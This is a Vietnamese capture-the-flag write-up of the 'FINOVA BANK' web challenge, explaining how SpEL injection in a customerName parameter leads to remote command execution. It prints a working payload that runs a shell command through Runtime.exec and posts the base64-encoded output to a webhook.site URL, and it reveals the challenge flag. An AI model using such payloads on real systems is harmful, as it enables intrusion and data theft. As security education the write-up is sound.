FINOVA BANK

📅 2025-11-29🚩 DF Cyber Defend 2025📂 Web ExploitationMedium
#SpEL Injection#Command Injection#RCE

Writeup chi tiết về challenge FINOVA BANK - khai thác SpEL Injection

FINOVA

Ảnh minh họa

# Mở đầu

DF Cyber Defend 2025 là sự kiện diễn tập an ninh mạng quy mô lớn trong lĩnh vực tài chính - ngân hàng. Cuộc diễn tập năm nay thu hút sự tham gia của nhiều kỹ sư từ nhiều tổ chức tài chính, ngân hàng lớn và các chuyên gia đầu ngành.


Mình thì chưa có cơ hội để tham gia lúc sự kiện này diễn ra, nhưng về sau ban tổ chức có public challenge thì cũng thử làm xem sao.

# Bắt đầu thôi

Khi vào trang web thì cũng không có chức năng đăng nhập, đăng ký gì hết. Ta được chuyển thẳng vào trang nhìn rất là "tài chính":

Ảnh minh họa

Theo kinh nghiệm thì cứ truyền vào các kí tự đặc biệt " ' ( ) xem có điều gì xảy ra không.

Ảnh minh họa

Kết quả đã có lỗi Internal Server Error trả về, lỗi trong param customerName:

Ảnh minh họa

Anh lập trình viên lại tạo ra lỗi trong bước đưa dữ liệu về server rồi. Quan sát thấy lỗi EL1045E.
Tra cứu một hồi thì đây là lỗi trong Spring Expression Language (SpEL), một ngôn ngữ biểu thức được sử dụng trong Java, cụ thể trong Spring Framework.
SpEL cho phép viết các biểu thức động trong code hoặc file cấu hình Spring:

@Value("#{user.name}")
@Value("#{T(Math).random()}")

Nhìn lại message báo lỗi trong Burp một lần nữa, chú ý thấy đoạn [ \"a\"\"]. Vậy là khi ta inject dấu nháy kép vào đây đã phá vỡ cấu trúc của 1 lệnh nào đó và dẫn tới lỗi. Thế thì khả năng đây là lỗi gì đó tương tự như SQLi đây.


Mục tiêu của mình là tìm hiểu cách viết các câu lệnh SpEL và làm sao chèn payload vào để không còn báo lỗi nữa.


Google và GPT một chút, mình tìm được một số đoạn code sử dụng SpEL trong Java có vẻ hợp lý:


Ví dụ 1:

class Customer {
    private String customerName;

    public Customer(String customerName) {
        this.customerName = customerName;
    }

    public String getCustomerName() {
        return customerName;
    }
}

public class SpELCustomerExample {
    public static void main(String[] args) {
        Customer customer = new Customer("Alice");

        ExpressionParser parser = new SpelExpressionParser();

        // Biểu thức SpEL: kết hợp chuỗi input trong nháy kép với customerName
        String expression = "\"Welcome, \" + customerName";
        String message = parser.parseExpression(expression).getValue(customer, String.class);

        System.out.println(message); // Output: Welcome, Alice
    }
}

Ví dụ 2:

public class SpELCustomerCheck {
    public static void main(String[] args) {
        Customer customer = new Customer("Bob");

        ExpressionParser parser = new SpelExpressionParser();

        // So sánh customerName với một chuỗi input
        boolean isBob = parser.parseExpression("customerName == \"Bob\"")
                              .getValue(customer, Boolean.class);

        System.out.println(isBob); // Output: true
    }
}

Trong SpEL cũng có các toán tử login như and, or.


Giờ mình thử payload nào đó xem sao, ví dụ a" and "1" == "1 thì thấy trả về lỗi sau:

Ảnh minh họa

Vậy là "a" đang được coi như String, điều chỉnh payload thành a" == "a" and "1" = "1 thì thu được kết quả:

Ảnh minh họa

Giờ chơi lớn với lệnh command luôn, trong Java mình sử dụng T(java.lang.Runtime).getRuntime().exec(...)


Cụ thể: a" == "a" or 1 == (T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/sh", "-c", "ls -la / | base64 -w0 | curl -X POST https://webhook.site/70dca831-6a78-4402-840a-37acf3237ab4 --data-binary @-"})) or "1" = "1 Trong Webhook đã có request tới:

Ảnh minh họa

Decode thì đọc được:

Ảnh minh họa

Từ đây đơn giản thay lệnh command và đọc được flag thôi: DF25{Y0u_c0UlD_5p3L_7h3_3xpr35510N!!}.